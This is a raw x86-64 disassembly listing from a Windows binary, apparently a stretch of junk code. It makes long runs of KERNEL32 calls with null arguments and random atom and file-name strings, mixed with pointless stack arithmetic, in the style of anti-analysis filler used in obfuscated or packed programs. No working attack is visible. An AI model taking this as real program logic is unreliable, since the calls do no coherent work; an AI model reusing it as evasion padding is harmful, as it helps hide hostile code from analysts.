movsx eax, byte [rsp + 0x189]
movsx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [rsp + 0x1fd], al
movzx ecx, word [rsp + 0x1010]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1014], ax
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.WPVoL62_Gf_Qzbji9zK
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10b0], ax
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4958], eax
lea rcx, str.kj4UeH4_dKhKk_L0dQ6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0x9d80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4120], eax
mov r9d, 0x99f
xor r8d, r8d
lea rdx, [rsp + 0x9818]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
movzx ecx, word [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0x98b0]
movzx eax, word [rax]
mov word [rsp + 0x10b8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9e30], rax
movzx ecx, word [rsp + 0xfe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49a0], eax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95b0]
mov byte [rcx], al
lea rcx, [rsp + 0x1a6a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f330]
mov dword [rcx], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x9270]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9690]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.FAEde9Vm4pX5XSTgTy87a
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9e38], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x99c8], rax
mov eax, dword [rsp + 0x48cc]
mov rcx, qword [rsp + 0x9c58]
mov qword [rsp + 0x9e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4378], eax
mov r9d, 0x16a9
xor r8d, r8d
lea rdx, [rsp + 0x9c30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x214
mov r9d, 0x31d0
mov r8d, 0x39ca146b
mov edx, 2
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4994], eax
mov eax, dword [rsp + 0x4988]
mov rcx, qword [rsp + 0x93e0]
mov qword [rsp + 0x9e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e48]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x9e50], rax
lea rcx, str.W2yi5QUe3P_r99G.F3
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10c0], ax
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4914], eax
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x282]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x287], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov r9d, 0x13de
xor r8d, r8d
lea rdx, [rsp + 0x8d20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a90], eax
lea rax, [0x14022fb6c]
mov qword [0x14024f2c8], rax
lea rax, [rsp + 0x9c18]
mov qword [rsp + 0x9e58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
movzx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0x9a70]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x910]
mov word [rsp + 0x10c4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4738]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a0c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9e60], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov edx, 0x1aef
mov rcx, qword [rsp + 0x99f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9cd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x105c]
and eax, ecx
mov word [rsp + 0x1090], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x93e0]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41f0], eax
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfb4], ax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x190]
movsx ecx, byte [rsp + 0x288]
add eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x9208]
mov qword [rsp + 0x9e68], rax
mov rax, qword [rsp + 0x9d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1098]
add eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx ecx, word [rsp + 0x1010]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfc0], ax
lea rax, [rsp + 0x1a3]
mov qword [0x14024f2c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9998]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x99c0]
mov rcx, qword [rsp + 0x9ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x3930
mov r9d, 0x161e
mov r8d, 0x3606
mov edx, 0x29f
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x49d0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [0x14022fb60]
mov qword [rsp + 0x9e70], rax
lea rcx, str.ff2CyD6.aPE4f
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10c8], ax
mov rax, qword [rsp + 0x7cb8]
mov rcx, qword [rsp + 0x9b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9838]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov edx, 0x214a
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4648]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e5c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.pSuGBKCyyJLNZGtkG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9e78], rax
mov rax, qword [rsp + 0x9d40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9658]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9e80], rax
movsx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov word [rcx], ax
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x14be
xor r8d, r8d
lea rdx, [rsp + 0x9d20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a68], eax
mov edx, 0x1761
mov rcx, qword [rsp + 0x9998]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a94], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, word [rsp + 0x1038]
mov word [rsp + 0x10cc], ax
movzx eax, byte [0x14022103d]
movzx ecx, byte [rsp + 0x270]
xor eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov byte [rcx], al
lea rdx, [rsp + 0x8ee0]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49a0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov eax, dword [rsp + 0x4290]
movzx ecx, al
mov eax, dword [rsp + 0x41e4]
shr eax, cl
mov dword [0x14022fb7c], eax
lea rax, [rsp + 0x9ab0]
mov qword [rsp + 0x9e88], rax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0x9df0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9aa0], rax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d0], ax
mov r9d, 2
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a7c], eax
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d4], ax
xor r9d, r9d
lea r8, [rsp + 0x9c10]
mov rdx, qword [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x48f0], eax
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x46d4]
movzx ecx, al
mov eax, dword [rsp + 0x49c4]
shl eax, cl
mov dword [rsp + 0x3f08], eax
mov rax, qword [rsp + 0x98d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27a]
and eax, ecx
mov byte [rsp + 0x278], al
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ac], ax
mov r9d, 1
lea r8, [rsp + 0x96f8]
mov rdx, qword [rsp + 0x9e90]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a2c], eax
movsx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf84], ax
lea rax, [rsp + 0x8410]
mov qword [rsp + 0x9e98], rax
mov rax, qword [rsp + 0x9e28]
mov ecx, dword [rsp + 0x4864]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4908], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rdx, [rsp + 0x9b08]
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a98], eax
mov r9d, 0x1755
xor r8d, r8d
lea rdx, [rsp + 0x96b8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
lea rcx, str.PAJP0j2_aszDRlebxY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10d8], ax
movzx eax, byte [rsp + 0x287]
mov byte [rsp + 0x28b], al
movzx eax, word [rsp + 0xfb8]
mov word [0x14024f2b8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov qword [rsp + 0x20], 0
mov r9d, 0x3ff7
mov r8d, 0x2251
mov edx, 0x93
mov rcx, qword [rsp + 0x96d8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4964], eax
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10dc], ax
mov eax, dword [rsp + 0x4768]
mov ecx, dword [rsp + 0x47b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
imul eax, ecx
mov word [rsp + 0xc20], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0x9a70]
movzx eax, byte [rax]
mov byte [rsp + 0x28c], al
lea rcx, [rsp + 0x8d40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x9ea0]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4920], eax
mov rax, qword [rsp + 0x9e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4668]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xf3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
lea rcx, str.OTVf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1058], ax
movsx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0x9940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa2c], ax
mov r9d, 1
lea r8, [rsp + 0x8f90]
mov rdx, qword [rsp + 0x9b08]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a9c], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x255]
sub eax, ecx
mov byte [rsp + 0x189], al
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf3c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.eAqW4ZKIDjpqrYpO0wSOyShGN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9ea8], rax
mov edx, 0x1f3f
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xdec]
movzx ecx, word [rsp + 0x10bc]
add eax, ecx
mov word [rsp + 0xf2c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rcx, str.9_J3QXc_cw8dzFi_Uw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10e0], ax
lea rcx, [rsp + 0x1a5b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov qword [rsp + 0x20], 0
mov r9d, 0x3c84
mov r8d, 0xc5a
mov edx, 0x5b
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4aa0], eax
movzx eax, byte [rsp + 0x277]
mov byte [rsp + 0x28d], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4a28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024f2e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a48]
mov qword [rsp + 0x9eb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9eb0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9bc8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x95b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9690]
mov qword [rsp + 0x9eb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9eb8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8980], rax
movzx ecx, word [rsp + 0xffc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x8290]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4954], eax
movzx ecx, word [rsp + 0xfd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx ecx, word [rsp + 0x1054]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x4948]
mov qword [rsp + 0x9ec0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1a69
mov r9d, 0x62b
mov r8d, 0xd2512f1e
mov edx, 1
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4aa4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x9be0]
mov rcx, qword [rsp + 0x9e68]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9208], rax
movzx ecx, word [rsp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10ac], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4aa8], eax
lea rdx, [rsp + 0x9810]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
mov r9d, 1
lea r8, [rsp + 0x9de0]
mov rdx, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aac], eax
lea rdx, [rsp + 0x9ec8]
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4944], eax
movsx eax, byte [rsp + 0x27d]
movsx ecx, byte [rsp + 0x153]
and eax, ecx
mov rcx, qword [rsp + 0x98d0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea rax, [rsp + 0x1020]
mov qword [rsp + 0x9ed0], rax
lea rdx, [rsp + 0x9760]
mov rcx, qword [rsp + 0x9d60]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0x9e28]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44d8], eax
lea rax, [rsp + 0xf0c]
mov qword [0x14024f2b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0x9ed8], rax
mov r9d, 2
lea r8, [rsp + 0x8f90]
mov rdx, qword [rsp + 0x9ee0]
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a3c], eax
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x465c]
mov ecx, dword [rsp + 0x4a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4970], eax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov r9d, 1
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ab0], eax
movzx eax, word [0x14024f302]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfb0], ax
lea rcx, str.KreyN_PsdXs9.O6J_DkKMXXR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x10a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x9a70]
movzx eax, byte [rax]
mov byte [rsp + 0x28e], al
mov dword [rsp + 0x20580], 0x11c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x288]
sub eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov byte [rcx], al
mov edx, 0x26e4
mov rcx, qword [rsp + 0x9938]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rcx, [rsp + 0x9ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
and eax, ecx
mov word [rsp + 0x7e0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx ecx, word [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf8c], ax
mov eax, dword [rsp + 0x4120]
mov ecx, dword [rsp + 0x496c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f0], eax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x8848]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7cb8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9ef0], rax
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f3b8], eax
movzx eax, word [rsp + 0x1098]
mov word [rsp + 0x10e8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov dword [rsp + 0x20], 0x5d4
mov r9d, 0x26d0
mov r8d, 0x35b2
mov edx, 0x360f
mov rcx, qword [rsp + 0x97b0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a50], eax
movzx eax, byte [rsp + 0x28e]
movzx ecx, byte [rsp + 0x10d]
add eax, ecx
mov byte [rsp + 0x281], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.SsDdSjrywIHmTdYpLeS2JzXLpzNzkl7hRKv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9ef8], rax
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
